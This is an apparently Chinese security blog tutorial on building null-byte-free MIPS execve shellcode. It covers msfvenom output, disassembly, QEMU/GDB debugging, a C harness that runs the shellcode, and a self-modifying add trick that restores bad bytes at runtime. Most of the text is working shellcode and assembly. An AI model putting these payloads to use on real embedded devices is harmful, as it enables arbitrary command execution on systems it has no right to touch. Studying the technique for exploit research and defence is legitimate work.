标签 bltzal 下的文章

引言

在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpysprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。

这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpysprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。

因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。

一、MIPS 寄存器及常用指令描述

类别 名称/助记符 作用描述 技术细节/约定
寄存器 $zero(0) 为 0 无法被修改,常用于清零操作或简单的数值拷贝。
寄存器 $v0 - $v1(2-3) 结果与调用号 $v0 用于存储系统调用号(syscall)或函数的第一个返回值。
寄存器 $a0 - $a3(4-7) 参数传递 调用函数时,前四个参数依次存放在这里。
寄存器 $t0 - $t9(8-15, 24-25) 临时寄存器 随用随写,函数调用时不保证这些值会被保留。
寄存器 $s0 - $s7(16-23) 静态寄存器 存放长期使用的数据,函数调用前后必须保持原值不变。
寄存器 $sp(29) 栈指针 指向当前内存栈的顶部(向低地址增长)。
寄存器 $ra(31) 返回地址 保存子程序执行完后应当返回的指令位置。
--- --- --- ---
算术指令 add / addu 加法 add 会检查溢出,addu(无符号)则不检查。
算术指令 sub / subu 减法 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。
算术指令 addi / addiu 立即数加法 将寄存器值与一个 16 位常数相加。
访存指令 lw / sw 加载 / 存储字 lw: 内存 → 寄存器;sw: 寄存器 → 内存。
跳转指令 beq / bne 条件分支 相等(Equal)或不等(Not Equal)则跳转。
跳转指令 j / jal 直接跳转 j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。
跳转指令 bltzal 小于零跳转并链接 li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。
系统指令 syscall 系统调用 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。
其他 li 加载立即数 伪指令,用于快速给寄存器赋一个常数值。

二、MSFVenom 生成 MIPS 架构 Shellcode 的局限性及带参命令执行实践

2.1. 初步使用MSFVenom生成mips带参数Shellcode

# 下载安装
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb 

# 用法
msfvenom -l payloads | grep linux/arm
msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c          
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of c file: 244 bytes
unsigned char buf[] = 
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";

# hex转汇编命令
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

#  msfvenom 生成不含bad的shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori 
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of mipsbe/byte_xori
mipsbe/byte_xori succeeded with size 156 (iteration=0)
mipsbe/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of c file: 684 bytes
unsigned char buf[] = 
"\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
"\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
"\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
"\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
"\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
"\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
"\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
"\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
"\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
"\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
"\x4a\x4a";

在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwdwget ... 等)时存在明显缺陷:

缺乏原生支持
msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
# 生成shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c   # 能执行  
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c   #不能执行 
# 编译成可执行文件
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
# qemu模拟执行
qemu-mips-static mips_verify_shellcode
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
[1]    972786 illegal hardware instruction (core dumped)  qemu-mips-static mips_verify_shellcode

执行失败

image.png

2.2. 调用号

echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011   # 调用号,对应函数execve
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000

image.png
先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。

函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到

cat  /usr/mips-linux-gnu/include/asm/unistd.h
cat  /usr/mips-linux-gnu/include/asm/unistd_o32.h

image.png

2.3. execve函数

以下将介绍msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec不支持直接传入参数命令的原因:

先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。

  • 第一个参数 filename:是要执行的可执行文件路径(如 "/bin/sh")。
  • 第二个参数 argv[]:是一个以 NULL 结尾的字符串数组,argv[0] 通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]argv[2]... 是传递给该程序的参数。

因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:

  • $a0 → 指向 "/bin/sh"(即 filename
  • $a1 → 指向一个指针数组(即 argv),该数组包含:
  • ptr0"/bin/sh"
  • ptr1"-c"
  • ptr2"command"
  • ptr3NULL
  • $a2 → 通常设为 NULLenvp

通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

image.png

qemu-mips-static -g 1234 mips_verify_shellcode
gdb ./mips_verify_shellcode
target remote :1234
b main
c
ni 35 
si

image.png

image.png

image.png

image.png
通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。

三、编写shellcode

msfvenom生成mips架构的shellcode优缺点:
优点:shellcode短
缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。

msfvenom --list encoders | grep mips
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori

image.png
接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?

MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:

  • 需要多个字符串
  • 需要计算每个字符串的地址(位置无关)
  • argv 数组变长

而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwdwget ... 等)。

3.1. 模板一

$s0地址及之后作为数据区域取址给$a0$a1$a2作为命令执行的参数。

$s0     -> $s1 -> 0($sp) -> $a0
$s0, 8  -> $s2 -> 4($sp) -> $a1
$s0, 11 -> $s3 -> 8($sp) -> $a2
ASM_MIPS1 = """
# MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
.section .text
.globl __start
.set noreorder

__start:
    # --- 第 1 部分:位置无关代码 (PIC) ---
    bal     find_data
    nop                 # 分支延迟槽, $ra 将指向这里

find_data:
    # $ra 现在指向 nop 指令。
    # 我们需要计算从 nop 到数据区的偏移。
    # 代码部分共 14 条指令 = 56 字节。
    addu $s0, $ra, 56   # $s0 = 数据区的基地址

    # --- 第 2 部分:在栈上构建参数数组 (argv) ---
    move $s1, $s0                               # $s1 -> "/bin/sh"
    addiu $s2, $s0, 8                           # $s2 -> "-c"
    addiu $s3, $s0, 11                          # $s3 -> your_cmd

    # 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
    addiu $sp, $sp, -16

    sw $s1, 0($sp)      # argv[0] = > "/bin/sh"
    sw $s2, 4($sp)      # argv[1] = > "-c"
    sw $s3, 8($sp)      # argv[2] = > command
    sw $zero, 12($sp)   # argv[3] = > NULL

    # --- 第 3 部分:执行系统调用 ---
    move $a0, $s1       # a0 = path
    move $a1, $sp       # a1 = argv
    move $a2, $zero     # a2 = envp

    li $v0, 4011        # syscall: execve
    syscall

# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""

生成shellcode测试是否能执行命令

shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
➜   qemu-mips-static mips_verify_shellcode
drwxr-xr-x  2 root root   4096 Jan 12 17:05 .
drwx------ 17 root root   4096 Jan 12 17:05 ..
-rw-r--r--  1 root root   1152 Jan 12 17:05 mips_verify_shellcode.c

这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
image.png

3.2. 模板二

# 这是由msfvenom生成
mips_code.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000
    # 改进
    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了表示后续插入一段指令处理坏字节问题。
        # end

        sw      $a0,-24($sp)
        sw  $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,指的是char const argv []
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """
        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097  # $s3在后续处理坏字节时会有用
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033 
        addiu   $a2,$s3,-4030

该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c"{command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh""-c""{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:

- $ a0"/bin/sh" 字符串的地址(可执行文件路径);

- $ a1栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL]

- $ a2 → 通常设为 NULL(表示 envp 为空)。

——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。

至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如

+32+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节

后续的偏移量(如 -4041-4033-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
"\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
"\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
"\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }

先测试一下,能执行说明没有问题。

image.png

image.png

echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:
00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27f31001        addiu   s3,ra,4097
  14:   2664f037        addiu   a0,s3,-4041
  18:   2665f03f        addiu   a1,s3,-4033
  1c:   2666f042        addiu   a2,s3,-4030
  20:   afa4ffe8        sw      a0,-24(sp)
  24:   afa5ffec        sw      a1,-20(sp)
  28:   afa6fff0        sw      a2,-16(sp)
  2c:   afa0fff4        sw      zero,-12(sp)
  30:   27a5ffe8        addiu   a1,sp,-24
  34:   24140457        li      s4,1111
  38:   2686fba9        addiu   a2,s4,-1111
  3c:   24020fab        li      v0,4011
  40:   0101010c        syscall 0x40404
  44:   2f62696e        sltiu   v0,k1,26990
  48:   2f736800        sltiu   s3,k1,26624  # /sh\x00 
  4c:   2d630069        sltiu   v1,t3,105    # -c\x00i
  50:   64000000        .word   0x64000000   # d\x00

通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

image.png

四、插入自修复指令解决坏字节问题

模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了后续插入一段指令解决坏字节问题
        # end

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,也就是数组,压入栈才能正确解析
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

在如下指令后

0:   24060666        li      a2,1638
4:   04d0ffff        bltzal  a2,0x4

插入 0x33333333 对应的占位指令:

8:  33333333        andi    s3, t9, 0x3333

该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可

在此基础上,为规避 bad 字节 问题,可将原位于 0x480x4c0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

image.png
【图 4.1】

2F736800 - 0x33333333 = FC4034CD    # "/sh\x00"
2D630069 - 0x33333333 = FA2FCD36    # "-c\x00i"
64000000 - 0x33333333 = 30CCCCCD    # "d\x00"

将原本位于 0x480x4c0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。

在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        # 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-3997  # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
        addiu   $a1,$s3,-3989
        addiu   $a2,$s3,-3986

        # 自修复代码
        lw   $t2,-4101($s3)    # -4101($s3)就是取的 0x33333333
        lw   $t3,-3993($s3)    # 取FC4034CD ,地址为0x3fffe074
        addu   $t3,$t3,$t2       # FC4034CD + 0x33333333 = 2F736800
        sw      $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)

        lw   $t3,-3989($s3)      # 取FA2FCD36 ,地址为0x3fffe078
        addu   $t3,$t3,$t2       # FA2FCD36 + 0x33333333 = 2D630069
        sw      $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)

        # 此处使用变量 offset 的原因在于:
        # 数据区最后4字节非常容易出现\x00坏字节。
        # 例如字符串:"echo 000000000"
        # 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
        # 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
        lw   $t3,-{offset}($s3)    # 取30CCCCCD 地址为0x3fffe07c
        addu   $t3,$t3,$t2         # 30CCCCCD + 0x33333333 = 64000000
        sw      $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
        # end                                           

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)

        addiu   $a1,$sp,-24
        addiu   $s4,$zero,1111   #将 $a2设置为0
        addiu   $a2,$s4,-1111
        li      $v0,4011
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

image.png
0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】

继续往下执行可看到 0x3fffe074,0x3fffe0780x3fffe07c处的值已经还原了。

image.png
【图 4.2】

image.png

image.png

至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。

image.png

image.png
该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。